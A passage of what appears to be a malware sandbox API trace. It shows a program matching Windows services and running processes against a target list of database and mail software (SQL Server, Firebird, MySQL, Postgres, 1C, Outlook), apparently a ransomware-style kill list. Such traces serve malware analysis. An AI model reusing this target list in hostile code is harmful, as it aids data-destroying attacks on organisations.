(lpString="Appinfo") returned 7 [0206.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0206.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0206.967] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0206.967] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0206.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0206.967] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0206.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0206.967] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0206.967] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0206.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0206.967] lstrlenW (lpString="AudioSrv") returned 8 [0206.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0206.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0206.967] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0206.967] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0206.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0206.967] lstrlenW (lpString="BFE") returned 3 [0206.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0206.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0206.967] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0206.967] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0206.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0206.967] lstrlenW (lpString="CryptSvc") returned 8 [0206.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0206.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0206.967] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0206.967] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0206.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0206.967] lstrlenW (lpString="CscService") returned 10 [0206.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0206.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0206.967] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0206.967] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0206.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0206.967] lstrlenW (lpString="DcomLaunch") returned 10 [0206.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0206.968] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0206.968] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0206.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0206.968] lstrlenW (lpString="Dhcp") returned 4 [0206.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0206.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0206.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0206.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0206.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0206.968] lstrlenW (lpString="Dnscache") returned 8 [0206.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0206.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0206.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0206.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0206.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0206.968] lstrlenW (lpString="DPS") returned 3 [0206.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0206.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0206.968] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0206.968] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0206.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0206.968] lstrlenW (lpString="eventlog") returned 8 [0206.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0206.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0206.968] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0206.968] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0206.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0206.968] lstrlenW (lpString="EventSystem") returned 11 [0206.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0206.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0206.968] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0206.968] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0206.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0206.968] lstrlenW (lpString="FontCache") returned 9 [0206.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0206.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0206.968] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0206.968] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0206.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0206.968] lstrlenW (lpString="gpsvc") returned 5 [0206.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0206.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0206.968] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0206.968] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0206.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0206.968] lstrlenW (lpString="iphlpsvc") returned 8 [0206.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0206.969] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0206.969] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0206.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0206.969] lstrlenW (lpString="LanmanServer") returned 12 [0206.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0206.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0206.969] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0206.969] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0206.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0206.969] lstrlenW (lpString="LanmanWorkstation") returned 17 [0206.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0206.969] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0206.969] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0206.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0206.969] lstrlenW (lpString="lmhosts") returned 7 [0206.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0206.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0206.969] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0206.969] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0206.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0206.969] lstrlenW (lpString="MMCSS") returned 5 [0206.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0206.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0206.969] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0206.969] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0206.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0206.969] lstrlenW (lpString="MpsSvc") returned 6 [0206.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0206.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0206.969] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0206.969] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0206.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0206.969] lstrlenW (lpString="Netman") returned 6 [0206.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0206.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0206.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0206.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0206.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0206.969] lstrlenW (lpString="netprofm") returned 8 [0206.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0206.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0206.969] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0206.969] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0206.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0206.969] lstrlenW (lpString="NlaSvc") returned 6 [0206.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0206.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0206.969] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0206.970] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0206.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0206.970] lstrlenW (lpString="nsi") returned 3 [0206.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0206.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0206.970] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0206.970] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0206.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0206.970] lstrlenW (lpString="PcaSvc") returned 6 [0206.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0206.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0206.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0206.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0206.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0206.970] lstrlenW (lpString="PlugPlay") returned 8 [0206.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0206.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0206.970] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0206.970] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0206.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0206.970] lstrlenW (lpString="Power") returned 5 [0206.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0206.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0206.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0206.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0206.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0206.970] lstrlenW (lpString="ProfSvc") returned 7 [0206.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0206.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0206.970] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0206.970] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0206.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0206.970] lstrlenW (lpString="RpcEptMapper") returned 12 [0206.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0206.970] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0206.970] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0206.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0206.970] lstrlenW (lpString="RpcSs") returned 5 [0206.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0206.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0206.970] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0206.970] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0206.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0206.970] lstrlenW (lpString="SamSs") returned 5 [0206.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0206.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0206.970] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0206.970] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0206.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0206.971] lstrlenW (lpString="Schedule") returned 8 [0206.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0206.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0206.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0206.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0206.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0206.971] lstrlenW (lpString="SENS") returned 4 [0206.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0206.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0206.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0206.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0206.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0206.971] lstrlenW (lpString="ShellHWDetection") returned 16 [0206.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0206.971] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0206.971] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0206.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0206.971] lstrlenW (lpString="Spooler") returned 7 [0206.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0206.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0206.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0206.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0206.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0206.971] lstrlenW (lpString="sppsvc") returned 6 [0206.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0206.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0206.971] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0206.971] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0206.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0206.971] lstrlenW (lpString="SysMain") returned 7 [0206.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0206.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0206.971] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0206.971] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0206.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0206.971] lstrlenW (lpString="Themes") returned 6 [0206.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0206.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0206.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0206.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0206.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0206.971] lstrlenW (lpString="TrkWks") returned 6 [0206.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0206.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0206.971] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0206.971] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0206.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0206.972] lstrlenW (lpString="UxSms") returned 5 [0206.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0206.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0206.972] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0206.972] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0206.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0206.972] lstrlenW (lpString="WdiServiceHost") returned 14 [0206.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0206.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0206.972] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0206.972] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0206.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0206.972] lstrlenW (lpString="WdiSystemHost") returned 13 [0206.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0206.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0206.972] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0206.972] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0206.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0206.972] lstrlenW (lpString="WinDefend") returned 9 [0206.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0206.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0206.972] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0206.972] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0206.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0206.972] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0206.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0206.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0206.972] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0206.972] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0206.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0206.972] lstrlenW (lpString="Winmgmt") returned 7 [0206.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0206.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0206.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0206.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0206.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0206.972] lstrlenW (lpString="wscsvc") returned 6 [0206.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0206.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0206.972] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0206.972] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0206.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0206.972] lstrlenW (lpString="wuauserv") returned 8 [0206.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0206.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0206.972] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0206.972] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0206.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0206.972] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0206.974] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.975] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0206.975] lstrlenW (lpString="System") returned 6 [0206.975] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0206.975] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0206.975] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0206.975] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0206.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0206.976] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0206.976] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0206.976] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0206.976] lstrlenW (lpString="smss.exe") returned 8 [0206.976] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0206.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0206.976] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0206.976] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0206.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0206.976] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0206.976] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0206.976] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.977] lstrlenW (lpString="csrss.exe") returned 9 [0206.977] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0206.977] lstrlenW (lpString="wininit.exe") returned 11 [0206.978] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.978] lstrlenW (lpString="csrss.exe") returned 9 [0206.978] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0206.979] lstrlenW (lpString="winlogon.exe") returned 12 [0206.979] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0206.979] lstrlenW (lpString="services.exe") returned 12 [0206.979] Process32NextW (in: hSnapshot=0x1b8, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0206.980] lstrlenW (lpString="lsass.exe") returned 9 [0206.980] Process32NextW (in: 